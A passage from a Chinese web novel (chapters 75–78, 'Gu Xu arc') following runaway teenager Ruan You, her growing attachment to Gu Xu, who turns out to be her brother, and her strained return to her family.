他是她的第一位听众。 第75章 第七十五章 顾叙篇 阮柚收到了宁糖的信。 她早就决定把她忘了。但信件上映着漂亮的小雏菊, 还系上了粉色蝴蝶结,她犹豫了会儿,最后还是拆开了。 信件中, 宁糖解释经过。 那天她的妈妈生病了,很突然,她不得不在那天爽约。 末了, 宁糖诚恳道歉。 还发誓, 等事情结束了,一定会来找她。 合上信, 阮柚哼哼两声。 她才不会这么轻易原谅她呢。 她想说,她不需要了。 她已经学会了。 顾叙同样是个很耐心的老师,见她真的会骑自行车后,他摸了摸她的头发, 笑浸在眼底,宽慰而骄傲。 好像她完成了多了不起的事。 白裙随风微微掀起, 阮柚坐在自行车后座, 被风吹凉的耳朵松松拖着一根白色的耳机线, 另一根则挂在少年的左耳。 耳机在放着歌。 阮柚的心情格外雀跃, 单手环过少年的腰肢, 另一只手则触碰阳光,光线从指缝隐约绽出,她慵懒眯了眯眼, 从睫毛缝缓慢适应变化, 慢吞地说, “哥哥,如果能一直这样就好了。” 午后,坦途。 风吹田野, 流水潺潺。 顾叙骑着车,软绵绵的轻风拂在脸颊,极为舒服。他纵容自己沉沦,却在感受到少女环来的温热气息后,神经顺着脊背,倏然织成绷紧的细网,令他竟生出几分局促来。 他紧了紧手指,却不置可否。 他给不出答案。 回到了顾家,时间再度被各种课业填满,他奉行极致的完美主义,样样做到最优最好,满墙的奖杯象征无上的荣耀,却在夜深人静,折射出来冰冷锐利的光。 像是无形的枷锁。 围棋决赛失利,父亲在书房给了他一巴掌。唇齿渗出丝丝血腥,顾叙浑然无知,垂下眼眸,脊背依旧很直。 对方说,“没用的东西。” 顾叙再度被贴上了一个标签。 他自始至终没说任何一句话,风暴降临在他身上,过后,只剩下了冰冷麻木,除了唇角渗出的殷红,再无其他。 他一向消化的不错。 钢琴室冷蓝色的光,打在他冷白的脸庞,更显轮廓分明,没了往日春风般柔和温雅,更像空壳般的漠然。 修长指尖在琴键跳跃。 降A大调,2/4拍,三部曲式。(1) 他无数次练习,早已耳熟于心,娴熟于指,可他指尖骤然的停留仍然添了败笔。 钢琴声戛然,他不经意掀眼望向窗台风月,温凉呼吸间,他不期然想起一个人,一个带给他截然不同感觉的人。 她给他带来一个新的世界。 一个让他生出割裂之感的自由王国。 — 阮柚拿到了顾叙的钢琴票。 彼时她在雕刻手工,木头磨的她手指发红,却依旧垂着小扇状的睫毛,神态专注。 少年的影子落在头顶。 直到阴影压在了眼皮,她才发觉对方的出现。顾叙脚步很轻,轻到阮柚开始怀疑他想吓自己。 顾叙:“原来你在这里。” 少年心里有一套独属于他的程序。每次来,他总会带一支花,说这样一句话。 就好像找了好久,才找到她一样。 他把花放在了阮柚身边。 阮柚抬头,薄薄的小汗珠沁在鼻尖,隐约泛红,有种说不出的鲜活。 顾叙喉间溢出一声笑。 他弯下腰,很轻地嗯了声。 他早就习惯了阮柚喊她哥哥,也并未有过细想。但他偶尔也想过,倘若他真的有个像阮柚一样的妹妹,他的生活或许会更色彩。 少女雕刻的可见雏型。 是一只猫。 顾叙平视她,问,“你也喜欢猫吗?” “喜欢。” 阮柚睫毛垂下来,“但我对猫毛过敏。” 满腔喜爱胜过一切,阮柚难得耐心了下来,呼吸放的很轻,就这样雕刻完了一只可爱的小猫。 顾叙安静守在一旁。 阮柚笑笑,“这是非卖品。” 她将雕刻品放在顾叙手里,“送给你了。” 顾叙感到意外。 少女指尖温热,不经意的停留蜻蜓点水,却拨乱了呼吸。 他眼底露出丝丝茫然,“送给我的?” “嗯。” 她点头,问,“你为什么这么看我呀。” 对待好的人,她一直很大方。 很早的时候,她就想过送顾叙些东西,想来想去,也只有这个能体现心意了。 她笑,好像将一颗心捧出来似的,“谁让你是我最喜欢的哥哥呢。” 最喜欢的。 顾叙低头看着精致的雕刻品。 他胸腔发热,牵扯出些许陌生情绪。 他告诉她,他并非她想的那么好,又怕说出口,换来对方的失望退却。 顾叙想。 究竟什么时候起,他成了那个患得患失的人呢? “谢谢,我会好好珍藏的。” 顾叙认真模样反而逗笑了阮柚。 阮柚抬起了手,沉默。 在发现什么后,指尖轻碰了碰少年的耳垂,笑盈盈,“哥哥,你的耳垂变成粉色了喔。” 有些痒。 少年脊背绷直了些。他偏头躲开,屏神,隐晦地拉开一段距离。 一抬眼,便对上少女清泠泠的视线。 那里纯粹、无辜,毫不掩饰自己的丝丝好奇,浑然不知刚才是怎样的…越轨。 顾叙薄唇微抿,道,“阮柚,你不该这样。” 嗯? 早习惯了少年偶尔的严肃古板,阮柚神色未改,反而生出些许玩心来。 她问,“为什么呢?” 四目交接。 少年深灰眼瞳依旧深邃澄净,却藏着些微晦涩难懂的情绪,阮柚尚未来得及探究,却听对方再度回应,“因为男女授受不亲。” 他说。 阮柚一怔,这次倒是听进去了。 她早就把顾叙当哥哥了,因而从未考虑过这些,但如今看来… 阮柚想了想,“顾叙,如果我说你真的是我哥哥呢?” 顾叙低头瞧她,不说话。 见状,阮柚语调有些急:“真的,你真的是我哥哥…” 是亲人,所以可以靠近。 顾叙安静了会儿,最后,无奈扯唇笑,“嗯,我早就知道了。” 阮柚见他依旧不信,肩膀耸落了下来。 见状,她没再说什么。 才怪,你才不知道。 她想。 话题就这么含混揭过。 顾叙想起来:“周末钢琴比赛。” 阮柚一怔。 少年递来一张门票。 位置前排,地点中央剧院。 这是阮柚曾经最向往的地方之一。 她无数想在那里弹喜欢的钢琴,让所有人都能够为她抬头。这或许是她努力的终点,同样,也只是少年沧海一粟的演出。 她心头复杂,为自己,也为过往。 但很淡,转瞬即逝。 顾叙嗓音依旧,“阮柚,你有时间吗?” 阮柚抿唇,自然说不出拒绝的话。 她答应了下来。 “有。” * 时间过的很快。 周末很快就到了。 阮柚穿了件最喜欢的碎花裙子,披了个牛仔外套,打扮漂漂亮亮就出门了。 日光澄净。 少年的海报就这么光明正大的贴在广告栏,是她没见过的一面,西装革履,板着脸,神情说不出的端方自持,竟多了几分距离感。 就像精心打造的艺术品。 有点不像他。 她莫名地想。 车水马龙,人来人往。 还没到时间,外面就来了不少人。 阮柚猜顾叙应该在彩排,他对每一场演出都看的格外认真,从未有过丝毫懈怠。阮柚这样想着,低头看了眼手中的门票。 倒计时二十分钟。 外面的广场人群熙攘,热闹非凡。 已然预热到一定程度。 她想去排队。 恰逢这时—— 倏然间,她听见一道熟悉的男声。 “阮柚!” 阮柚一怔,不知觉抽了口凉气,没由来心慌。心口砰砰跳,面上装作浑然不知,埋头想拱进人群里。 可天不遂人愿。 对方快步追上,等反应过来时,手臂已经被对方牢牢住缚,阮柚蹙眉,不得已回过头去对视—— 四目交接。 一双极熟悉的、亮的发烫的双眸。 顾盛胸口有些起伏,语气着急:“阮柚。” “这些天你去哪了。” “我们几乎把周围翻遍了,都没找到你!” 一连串的话语。 顾盛边说着,情绪激动,眼圈都有些红了。 失而复得的喜悦冲溃他的理智,他抓的越来越紧,直到觉察到对方的抗拒。 “放开我!” 阮柚紧蹙起眉头,竭力想挣扎甩开,“我的事不用你管!” 她离开就没有想过再回来。 两人动静不小,不由引起周遭关注打量。或犹疑或好奇,就这么落在他们身上。 阮柚不想成为这样的焦点。 可顾盛说什么也要带她回家。 “外面不安全,阮柚。”他语气一顿,近乎恳求低下口吻,“就算你怪我们,也别用自己的安全来赌气好不好,家人间有什么是解决不了的。” 阮柚反而平静下来,依旧说,“我不要回去。” 她没因为这些话心软,而是坚定了自己的选择。 因为她发现,自己很多不快乐,归根到底都是源于他们。 如今再度遇见,便勾起不愉快的过往,胸口闷涩,浑身尖锐,变得不像自己。 见状,顾盛心空了一下,喉咙牵扯出丝丝疼痛。他试图再说些什么,却听到身后有人见他名字。 “哥哥?” 那边,顾烟语气疑惑。 他动作一僵。 正值这个间隙,阮柚瞅准了时机,彻底甩开便转过身,头也不回地跑远了。 很快消失在人群里。 顾盛心头慌乱起来,下意识去喊她名字,在人群里寻找起来。 阮柚快步走,走到最后,跑了起来。 她呼吸急促,发烫。 心脏砰砰跳,并非恐惧,也不是紧张,而且对过往所有的抗拒。 她一点都不想回去。 她现在已经很好了… 阮柚胸口起伏着,失魂落魄、仓促地跑,殊不知自己离约定的地方越来越远。 而那边—— 少年身着白衬衫,脊背挺拔如青松,温柔有礼地迎接台下雷动般掌声。 一曲终了。 顾叙掀眼,最后,遥遥定格某处。 无人发觉,他的视线停留了略长的时间。 在一个空缺的位置。 他迟迟没等来想见的人。 第76章 七十六章 顾叙篇 阮柚心情一团糟。 她讨厌失约, 如今却成了失约的人。 但她无论如何,她都不想被找到,不想再回家。 然而如潮情绪退散过后, 阮柚终于后知后觉了起来。 而后,心情被愧疚所占据。 她答应了顾叙去看他弹奏钢琴,如今却没有做到。 他会找她吗? 他会因为看不到她, 而失望吗? 思及此处, 阮柚心情像被虫蚁蚕食,浑身都泛起了难捱的涩意。 傍晚暮色渐浓, 路边树叶随风簌簌。 空气倏然间转凉,阮柚裙摆微曳,止不住瑟缩了下。 她踢远了落在地面中央的石子。 于原地徘徊了会儿,她重重捏了捏手心, 到底决定了折返。 阮柚想,她该回去。 无论如何, 她都不该就这么任性的离开。 时间过了。 到达了最初原点, 天色已然暗了下来。 退场过后, 人流变得稀疏。 四周像是被降了噪, 阮柚停下脚步, 甚至能听见自己的呼吸声,那么缓慢飘忽,像是找不到任何支点。 城市霓虹折射出绚丽的光影, 斜斜洒在她的眉目, 冷冷清清。阮柚立在花坛后, 唇抿紧,就这样望着不远处的剧院。 那里并没有熟悉的身影。 是啊,都这么久了, 顾叙早该走了。 仅仅是微弱的希望而已。 但即便如此,那股愧疚仍然在安静中蒸发,无法控制。而后,是一股无由来的酸涩。阮柚希望如泡影戳灭,踌躇许久,终是转身离开。 阮柚想:顾叙会不会不想理他了。不知何时起,她还是对他生出了类似亲情的孺慕和依赖。 理智告诉她,不可以。 他总会离开的。 但她仍渴望他的陪伴,期待他能和自己说说话。仿若寻找灵魂的支点,不知从何时起,她早就把他当作亲人了。 其实,阮柚有时也怕孤独。 街上车水马龙,周遭起风了,吹乱她的发丝,几缕就这么落在眼睫,一时虚化了视线。 她却浑然不觉。 少女身影单薄,小小一个,融在人流里很难发觉,可顾叙还是第一眼便瞧见了。 后来他想,缘分真的是件很奇妙的事。 透过车窗,工业化雕刻的锋利美感就这样稍纵即逝,顾叙安静侧目,无知无觉,却不期然看见一道熟悉的身影。 车窗外。 少女低着头,鬓发模糊了她的容颜,像只流浪的小猫,气质写满了难言忧郁。 是他没见过的模样。 他呼吸一紧,让司机在前方停车。 不远处的音乐喷泉,有人蓄谋已久,真挚求婚。绚烂浪漫的烟花于头顶绽放,阮柚并未旁观具体,却无法置身事外。 她缓慢停下脚步。 尔后,下意识仰起了头,头顶遥远的温度就这样落在她的眼瞳。 少女皮肤雪白,鼻尖冻的通红,唯独一双眼瞳,好似春池剪影,于烟花下闪烁星点的光芒。 顾叙逆过人流,恰好瞥见这一幕。 这一刻,时间仿若静止。少年呼吸一滞,心脏被揪了一瞬,一股无法言喻的异样情绪倏忽涌了过来。 而下一刻—— 阮柚垂下了眼睫,隔着人群,恰好同他四目交接。 烟火尽头。 少年长身鹤立,着了身深灰挺阔大衣,黑发松松垂在额前,俊秀漂亮的好似画中人。 阮柚眼睛一亮,想都没想就跑了过去。 “哥哥!” 反应过来,顾叙下颌皮肤一热,细细麻麻的痒。双手从兜里拿了出来,他下意识扶住少女的细腰,又在后一秒,触及则分。 指尖隐隐发烫,却不及他的呼吸。 这是他从未有过的感受,少女就这样环住了他,整个人撞在他怀里。陌生的呼吸透过薄薄的衣衫,就这样温热了胸腔,而后,循着脖颈青脉落在他的下颌。 顾叙曲了曲手指,面色未改,却竭力按下心跳。 阮柚仰头瞧他,嗓音很低,“哥哥,对不起。” 声音正正好落在他耳畔里。 顾叙乌黑睫毛一颤,心里莫名想。 ——大概是,他们离得太近了吧。 低头看。 少女眼圈红红的,浮起薄薄一层水光,像是受了极大的委屈。 顾叙呼吸一慢,喉结滚动,“我没怪你。” 阮柚仍是赖着不走,“真的吗?” 她藏在他怀里,不肯松手。 顾叙的大衣不仅藏着他的体温,也充斥他的气息,令她上了瘾,阮柚舍不得就这样离开。 “你应该怪我啊。”阮柚呼吸收紧些,露出茫然失落,很低地说,“是不是你对我没有期待,所以才会不在意呢…” 她越想,越觉得会是这样。 因为不在意,所以不怪她;因为失望了,所以不再有期待。 人与人的关系就是这样,一旦断了信任的弦,就很容易陷入死循环。从前她经历过,但她不想她和顾叙这样。 这是她的私心。 她依赖顾叙,她不想去松手。 可如今阮柚只有难过,除了赖着不走,什么办法也没有。她情绪恹恹,难过又忐忑等待顾叙的答案。 而少年安静了下,不知在想什么。 半晌,顾叙却说:“不是没有期待。” 少年声线于头顶再度响了起来,嗓音温柔依旧,就这样融在丝丝晚风里。 他似乎觉察到她情绪上的异常,垂下眼同她对视,语气放慢了些。 顾叙说,“阮柚,是你赋予等待的意义。所以来的时间早晚,并不重要。因为无论如何,我都会等到你。” 闻言。 阮柚一怔,抬眸,些许出神瞧他。 一直… 一直等她吗? 少年面上格外认真。 像是预感她的迟疑,他给予了极清晰分明的情绪,一种令阮柚很难去忘怀的情绪。 阮柚仿若寻到栖息地,彻底安定下来。 她从未听过这些话。或许,语言真的有魔力,透过顾叙的话,她竟然感受到被坚定选择的滋味。 那么珍贵,她下意识想抓紧。 想私有,想珍藏。 顾叙说的是真的。 他并没有怪她。 “哥哥…”良久,阮柚鼻尖酸了酸,内心动容。她本放下了手,可听完这句话后,她再度忍不住抱住他。 紧紧的,极坚定。 隔着衣衫,两人肌肤相贴。 忽然之间—— 少女清浅的馨香就这么盈满了他的鼻息,顾叙并不排斥,却心感无措。不受控制的情绪于胸腔酝酿,莫名的,顾叙神经不住绷紧。 下一刻,少女闷闷的说,“哥哥,我真的好喜欢你…” 很轻的声音,却仿佛含着数不清的钩子,含糊黏密,轻而易举勾住他,令他就这样僵直立在原地。 顾叙低垂下眼皮,眼瞳闪烁。 他抬起手,却于半空落下。 最后,他只垂眸,视线就这样无声落在无处安放的手臂。恍惚间,一道属于他的心声跳至耳畔,那么清晰、又那么隐晦。 那道声音在问—— “顾叙,你为什么不敢抱她?” “为什么,想触碰,却连抬起手都不敢?” 第77章 第七十七章 顾叙篇 第七十七章 顾叙尊重每个人的隐私。他知分寸, 守礼节,习惯和人保持边界感。 这是一个安全的距离,同时有点残忍。 不参与、不插手, 也代表不在意。 室内冷白灯光线下,心理医生这样对他说,“顾叙, 你什么都好, 就是缺一些人情味。” 顾叙曲曲手指,偏头望向窗外的白玉兰, 未置可否。他知道,自己所有温柔只是表象,随时都会分崩离析。 他早就盼着那么一天,假使那一天降临, 他会从容奔向毁灭。然而,在一个寻常的节点, 他遇见了阮柚。 是难戒的瘾。 也是他的转机。 — 刚洗的衣服沁出隐隐的皂香, 阮柚很喜欢, 尤其当它们掺混阳光时, 气息仿若膨胀, 变得好闻地不像话。 阮柚低头闻,顾叙以为她在发呆。 顾叙微抬下颌,叹息着说:“我不知道我为什么出现在这里。” 一个工作日。 他放纵地停掉了原有的安排, 自己出现在这里。他连自己都不知道这股冲动源于何处, 却他仍选择遵从内心——潜意识里, 他想在这里。 阮柚扭头笑,“因为你想我了啊。”她的语气慢悠悠地,藏着翘起的小钩子, 腔调漫不经心,仿若仅是随口一应。 顾叙看过去,半晌,薄唇抿了下,“是。” 他承认的声音很低,很沉。 轻到被微风拨动树叶的声音淹没,阮柚甚至没听见分毫。树叶清泠碰撞,末了,于地面烙下斑驳的光影。几缕阳光细细碎碎压在顾叙的眼皮上,就这样融化原本偏凉的体温,他微微抬眸,仰头,呼吸也温热了起来。 他清楚知道—— 此刻,自己开始生出贪恋的情绪。 这何尝不是一种想念。 但他不愿深究想念源于何处。 几秒后,顾叙说:“我不在的时候,你都在干什么呢。” 阮柚想都没想便回:“在想你呀。” 顾叙默然,阮柚这副漫不经心地模样,很明显在同他开玩笑;可偏偏,他很难去忽略这份答案,那道清浅的声音撞在耳畔,撩动阵阵痒意。 顾叙语气透出无奈,“好好说话。” 阮柚于是想了想,“最近我常去附近的篮球场。” 顾叙一怔,意外于这个答案。 “对了,哥哥,你会打篮球吗?”阮柚想到什么,不由感叹,“我觉得会打篮球的男生都好帅哦。” 特别是前天球场看到的穿橙红色衣服的少年。少年染了个白毛,轮廓锐利,虽然看起来坏坏的,却是不可否认的帅。 尤其是那炫技似的三分球。 拽的不行,却的确厉害。 顾叙沉默了几秒,“会,只是不经常。” 他语气平静极了。 阮柚笑容甜甜,“真的吗?有机会我一定要看看。”她觉得顾叙打篮球一定也很厉害。 顾叙心脏像被抓了下,生出些许异样来。他静了静,说,“我打得可能没有他们好。” “不会啊。” 阮柚听不得这句话,脊背微微直起,“在我眼里,你永远都是最好的。” 顾叙垂了垂眼皮,“不一定。” “你喜欢看,一定是哪里吸引了你。” 说罢,他呼吸一滞,实感几分荒诞不经,为自己刚刚说的话。 不像他。 闻言,阮柚偏头笑,“是么。” 顾叙神经微绷,面上却保持神态。 他曲了曲手指,就这样等待少女的答案。 阮柚静了静,如实说。“也许吧,确实比较吸引我。” 她很喜欢他们身上的意气风发、那股所向披靡的势头。 顾叙垂眼,沉默了下来。 这一刻,他清楚知道,这不是他想要的答案。 / 阮柚不知从哪里弄来了一个时间胶囊。 彼时,枯黄的落叶堆积树下,凉风斜斜扫过,她下半张脸藏在衣领里,只露出一双透净的眼。 她开心的很坦荡,颇具仪式感,“哥哥,我们把想对对方说的话写下来吧。” 顾叙站在一旁,没说话。 阮柚:“然后等十年后再去看,好不好?” 十年的期限。 在瞬息万变的时代,格格不入。 但时间洪流过后,它依旧存在,生出繁茂根系。 的确意义非凡。 “好。”顾叙点头。 他很配合,在看连阮柚拿着纸笔东躲西藏时,不由失笑一声,“放心,我不会偷看的。” 啊,被看穿了。 阮柚摸了摸鼻尖,“你也不要让我看到哦。” 这样可就没意义了。 顾叙挑了下眉。 他低下头,沉思片刻,在纸上写了一句话。 末了,额发垂在眉间,呼吸微乱。 “写完了。”她将纸折叠。 阮柚并未发现他的异样,露出甜笑,“你写完了么?” 顾叙嗯了声。 两人把时间胶囊埋在树下。 顾叙掀眼,驻足。 面前的老树高耸遮住云端,随风兀自颤栗,有枯黄的落叶飘忽坠落,堆叠覆盖泥土。 “十年后,我们还会记得么?” 他问。 “我会。” 这次,阮柚却格外坚定,“哥哥,你会忘记么?”顾叙记性一直很好,除非他不想记得。 “我不会忘。”顾叙回神,瞧她,喉间溢出一声笑,“第一次写,也是最后一次写,怎么会忘呢。” “那拉钩好吧。” 阮柚抬起了手。 顾叙眉心微动,不太熟练地勾缠着少女的手,指腹相贴。这是他第一次做这个动作,有些生疏,又有些茫然。 呼吸都放缓了许多。 “一百年不许变哦。” 阮柚接着说,“哥哥,真的会是最后一次吗?” 顾叙一怔。 “我不想你和别人做这些。” 她却继续问,视线垂下来,透出几分任性的占有欲来。 顾叙并不排斥,反而多了份充盈。 他知道阮柚身上藏着秘密,她不会掩饰,也不懂掩饰。可他从未想过探究,因为每个人都有秘密。 “不会。” 他说。 阮柚将信将疑。 顾叙却说,“你是独一无二的。” 他说完,认真未曾雕琢,心里很平静。 阮柚心底一热,“你说的。” “不要反悔。” “不会。” 大概是吹了太久冷风,次日,阮柚很不幸地感冒了。 醒来她便昏昏沉沉,脚步犹如灌了铅。 她给自己烧了一壶热水,还没等它温热能喝,便再度睡了过去。 醒来时已是正午时分。 阳光撞在她的眼皮,沉闷难捱,阮柚躺了一会儿,哄着自己去看医生。 然而刚一出门,却等来了顾叙。 顾叙应该怕冷,明明艳阳高照,却穿了件米白薄款毛衣,皮肤被衬得更白,气质格外柔和。 他朝她走过来。下一秒抬手,手背贴阮柚的额头。 “发烧了?” 在阮柚最需要依赖的时候,少年几乎从天而降。她二话不说抱住了顾叙,听见胸腔清晰的心跳声,不知是对方的,还是自己的。 阮柚想靠近他,小脸藏在他怀里,汲取温暖,“哥哥,我好想你。” 顾叙胸口好似被火焚烧,滚烫至极,他反抱住阮柚,低头轻哄着,“乖,哥哥带你去医院,好不好?” 阮柚埋在他怀里,大脑疼的嗡嗡作响,哼哼唧唧没回应,不知听没听见。 顾叙带阮柚去最近的私立医院。 输了一会儿药,阮柚精神才些微好转了起来,看自己手背,“好讨厌生病。” 她很怕疼,怕打针。细针穿透皮肤那刻,她的眼睛闭的紧紧的,看都不敢看一眼。 顾叙:“那以后要多穿些衣服。” “可我喜欢穿漂亮的裙子。” 顾叙尚未回应。 “哥哥,你的手怎么总是受伤。”说着话,阮柚视线被吸引,定格在他挽起的袖口。 那里有道道极细的红痕,好似被锐利的细针划过,看着就疼。一瞬间共感,她蹙眉问,忽然想起那夜初见被自己忽略的细节。 顾叙眉心微动,微不可察蜷蜷手指。 “打理花草的时候,不小心划到了。” 依旧是那个理由。 这次阮柚半信半疑,放在心上。 她抿起唇,不住想,什么花这么多刺呢。 思绪却骤然终止。 护士姐姐过来给她拔针,阮柚心头忍不住发惧,却强装乖巧。 她不想在这时给别人添麻烦。 顾叙觉察到了。他轻摸她的发丝,嗓音柔软,“不怕,等会给你买棉花糖,好不好?” 嘴上拿她当小孩哄,指腹却摁在针口,防止她手背的余血晕开。 阮柚忍不住瞧他,有些复杂。 疼是真的疼,但顾叙手指温热,全程陪在她身边,给足了安全感。 护士姐姐见这一幕失笑。 “小姑娘,你男朋友对你真贴心,两人要好好的哦。”她想,青春期的爱恋真的太美好了,更不用说两人还都是少见的高颜值,简直比电影还电影。 顾叙睫毛一颤,心头冒出些许错乱,却也错失了最好解释的时间。 阮柚笑,“他不是我男朋友,是我哥哥,确实对我很好。” 护士姐姐有些意外,“原来是哥哥呀,我也有个哥哥,出国很多年都生疏了。” 两人聊了几句。 小插曲过去,顾叙薄唇微抿,始终保持安静,某处心弦断了又松。 他不知道自己在失望什么。 回去时,外面不知何时起了浓雾。 车开的很稳,阮柚不由来了困意,不知不觉合上眼睛睡着了。 少女眉心舒展,小扇似的睫毛垂下来,于肌肤投下阴影,多了几分恬静。几缕长发压在肩后,顾叙想帮她去整理,却猝不及防地撞上她鼻息的气息。 顾叙呼吸紊乱一瞬。 车行驶到了颠簸地带。 他略略抬眼,却是触及则分。 微微阖眸,却难以抚平。 少女的唇瓣好似浸然晨露的玫瑰,水光潋滟,弯起欲坠不坠的弧度。 他不该将关注点放在这里。 这样不对,顾叙。 可车内寂寥平静,车外白雾茫茫。 除了加速的心跳,没人能回应他。 阮柚醒来了。顾叙站在车外,颀长身影大片遮住外界,令她一时只看见他。 她眯了眯眼睛,竭力适应光线。 顾叙一只手牵着她,见她醒了,那只手竟停留半空,一时有些怔然。 阮柚并未发觉,下意识抓紧。 顾叙沉默会儿:“我刚想背你回去。” “我自己来就好了。” 阮柚睡一觉感觉好多了。 她牵着顾叙的手,手心暖融融地,令她内心安宁。她发觉周遭起了雾,风景虚化,有些陌生。她抿了抿唇,隐约生出几分悬浮感,仿佛有什么事情要发生。 顾叙见她停留原地,问,“怎么了。” 阮柚很轻摇摇头,“没什么走吧。” 那种感觉转瞬即逝,她抓不住,索性放过自己。雾色茫茫,行人稀疏,两人十指相扣,并肩走在路边,气氛安静自然,仿佛坠入一个久久不醒的梦境。 顾叙目光扫过周围。 阮柚感觉好多了,心情却依旧轻松不起来,她不喜欢这样白雾茫茫、看不见远方的天气,不喜欢这种被困住的感觉。 还好顾叙在她身边。 临走前,顾叙抱歉地笑一下,“下次再给你买棉花糖,好么。” 那人今天没来。 偏偏顾叙还记得。 阮柚:“只要你人来就好了。” 过了今日,她对他的依赖只增不见,满眼都是信任孺慕。 顾叙看得分明,却生不出多少高兴。凉风灌进他的鼻息,于胸腔牵扯出丝丝的涩,顾叙垂了垂眼睛,只说,“嗯,我会来的。” 阮柚翘了翘唇瓣,笑得很甜。 她知道,因为她每次都能等到他。 她正想再和顾叙说会儿话。 偏偏这时,一道熟悉的男声从斜刺里响起,“阮柚!” 阮柚呼吸一乱,顿时紧张起来。 是顾盛的声音。 她不想应,可对方目光早就揪住她的身影,三下两步便跑了过来。 阮柚下意识躲在顾叙身后。 顾盛皱起眉,目光从身后转到顾叙身上,愕然中带了几分复杂,“顾叙,怎么是你?” 顾叙眉心微动。觉察到身后阮柚的异样后,少年略略正神,淡漠又疏离,“你是?” 他并不记得顾盛。 顾盛闻言,不住自嘲,“我是顾家的,不过是一个无关紧要支系,你不记得也正常。” 顾叙颔首,神色自若:“有什么事么。” 顾盛却将目光移向他身后,不自觉提高声量说:“阮柚,你跟我回去!” 阮柚抓着顾叙的衣服,说:“我不要!你不要来纠缠我了。” 顾盛神色恍惚了瞬,目光闪过一丝受伤,但很快恢复。 顾叙蹙眉,态度彻底冷下,“她凭什么跟你回去?” 顾盛看向顾叙,看着这个活在家族长辈口里极度完美、高不可攀的少年,倦淡地说,“她是我妹妹,我带她回家,不是天经地义吗?” 反而是你。 你算什么?隔在他们之间。 阮柚:“我才没有你这个哥哥!” “阮柚!”顾盛呼吸一滞,末了,眼圈隐约红了,“别这么说,求你了。” 顾叙怔在原地。 其实顾盛从始至终说了很多话,但唯独那一句,顾叙才算真正听了进去。一幕幕记忆于脑海浮现,断续的呢喃于耳畔化作模糊浓雾,最后只剩两个字:妹妹。 顾叙手指紧了又松,掌心发凉。 阮柚一直说的是真的。 ——原来,她真的是我妹妹。 顾叙想。 第78章 第七十八章 顾叙篇 阮柚回家了。 最开心的人莫过于顾盛。 他自始至终都是最盼着阮柚回来的, 也表现出超脱寻常的执着。 可阮柚对着他那双熟悉的眼睛,无论如何,再叫不出一声哥哥。 她执拗偏执, 又黑白分明。 对人失望了,就是彻底失望了。 这次回家,也只是短暂的权衡。 她不想让顾叙牵扯进来。 别墅灯光早早亮起。就这样踏回原点, 阮柚反而波澜不惊。 母亲紧紧抱住她, “你跑哪去了啊!知不知道这样让我们多担心!” 阮柚胳膊垂着,抿唇不语。 她显得比之前沉闷、安静了许多。 阮母觉得她应该吃了不少苦, 更是忍不住心疼。 顾父在抽烟,燃灭烟蒂压在烟灰缸,说,“任性也该有个度, 你不是小孩了,没人愿意陪你玩这种游戏。” “爸!” 顾盛不赞同拧眉, “你之前答应过我的呢!” 顾父哼了声。 答应了, 又怎样? 他是家里最高的权威, 不受任何人拘束。 阮柚早就料想如此, 平静同时, 有种置身事外的疏离。 仿佛当事人不是自己。 但她尚在病中,一张苍白的小脸很容易令人误认为是难过,颦动的睫毛下仿佛藏着薄薄的水光。 看着让人心疼。 顾盛胸口发闷, 愧疚快将他淹没。 母亲则摸摸她头发。 就算再如何, 她也做不到不关心她。 阮柚回到了房间。 她这次回来, 其实是想取走自己的证件。 ——她预谋着离开。 顾叙先前问过她未来想做什么。 阮柚当时并不明晰,也未曾真正去想过;反而如今拖着病体,混沌昏沉时, 竟开始迫切渴望能拥有一个确切的未来。 她打算去国外深造。 去看更远的世界。 顾叙曾告诉她,她不需要活在别人的评价里,只要问自己就好。 是否发自内心。 问心无愧。 阮柚躺在床上,房间隐约浮动清浅的栀香。 从前那么熟悉的地方,如今再回来,竟让她感到陌生。她如水上浮木,哪怕躺在这里,仍感觉寻不到归处。 夜很深了,她强迫自己阖眼。 静的出奇的夜,月光松松坠落在脸颊,阮柚睫毛颤了颤,许久终于睁眼。 哥哥… 对着黑暗中的天花板,她自然而然浮现一张脸。 顾叙。 此刻在做些什么呢。 她安静的想。 次日清晨,外面下起了雨。 下楼前,阮柚碰见许久没见的顾烟。 对方画了精致的淡妆,唇瓣涂成了嫩粉色,朝她一笑,“姐姐,早上好。” 阮柚步伐微滞,反应过来,不冷不热嗯了声。其实她和顾烟不熟,说话也少的可怜。她不想困在先前发生的的事情,但也仅限于此。 可走了几步,顾烟又叫住她。 她回头,两人对望。 顾烟不知何时眼睛红了,眼底挣扎出些许痛苦来,“姐姐。” 闻言,阮柚一怔。 她不知为何,让对方摘掉了面具。 顾烟抬起眼睛。 “你为什么要回来呢?为什么不能一走了之,再也不回来呢?”膨胀的恶意像黏附的蛛丝,如影随形、挥之不去。她无法去控制,也为此痛苦。 而如今撕开假面,却心生…痛快。 阮柚不禁愣神。 不知名的压抑感扑面而来,让她一时生出离开的念头。但她终究理智占据上乘,冷冷说,“我回不回来,都和你没关系。” “顾烟,我不欠你什么。” 阮柚很清楚这点。她不知道对方对自己的敌意从何而来。 也不想为此内耗。 阮柚径自走到客厅,抬手倒了一杯水。凉白开顺喉腔涌入胃里,丝丝沁凉。她不想被琐事影响心情,也不打算在这里停留太久。 窗外灰蒙蒙一片,下了好大的雨。 阮柚刚要出门,顾盛从身后叫住她。他刚醒,头发还乱着,“外面雨下的这么大,还是不要出门了。” 阮柚换鞋:“我有伞。” “有伞也会淋湿。”顾盛耐下性子过去,语气连自己都未曾发觉的小心翼翼。他知道阮柚仍是在怪他,怪他那天没有选择拉住她的手。可他没有办法,所以,他只能选择赎罪。 临走前,阮柚听见顾盛略带哀求说,“阮柚,你打我骂我都行,能不能不要这样?” “我怎么样?”她感觉莫名其妙。 “我想再听你叫我一声…”顾盛眼瞳微闪,说出一直想说的话,语气放的比平时都低。 可他的话未说完,被一道脆生生的女声打断。“哥哥?你怎么还没换外套,今天可是我上台演出的时候。你答应过我会去的。” 是顾烟。 少女早早换了身制服,站在不远处。 顾盛一顿。 阮柚却觉得有趣,命运其实很喜欢刻意的编排,正如此刻恰到好处的时机,也在提醒她断掉那些心软的念头。 阮柚正色:“我已经有哥哥了,而且,以前不是说好的么。” 顾盛眼瞳一缩,连回顾烟都忘了。 他不禁想起从前阮柚说过的话。 倘若他有朝一日做了让她失望的事,她就再也不会叫他哥哥…思及此处,顾叙心头慌乱,张了张唇,竟半晌说不出话。 阮柚神情未改,“你妹妹在后面。” 说完,她就这样离开了。 阮柚知道顾烟今天会演出,拿到从前的手机,一连串的消息近乎淹没她,她翻了许久,也约莫了解最近发生的事。 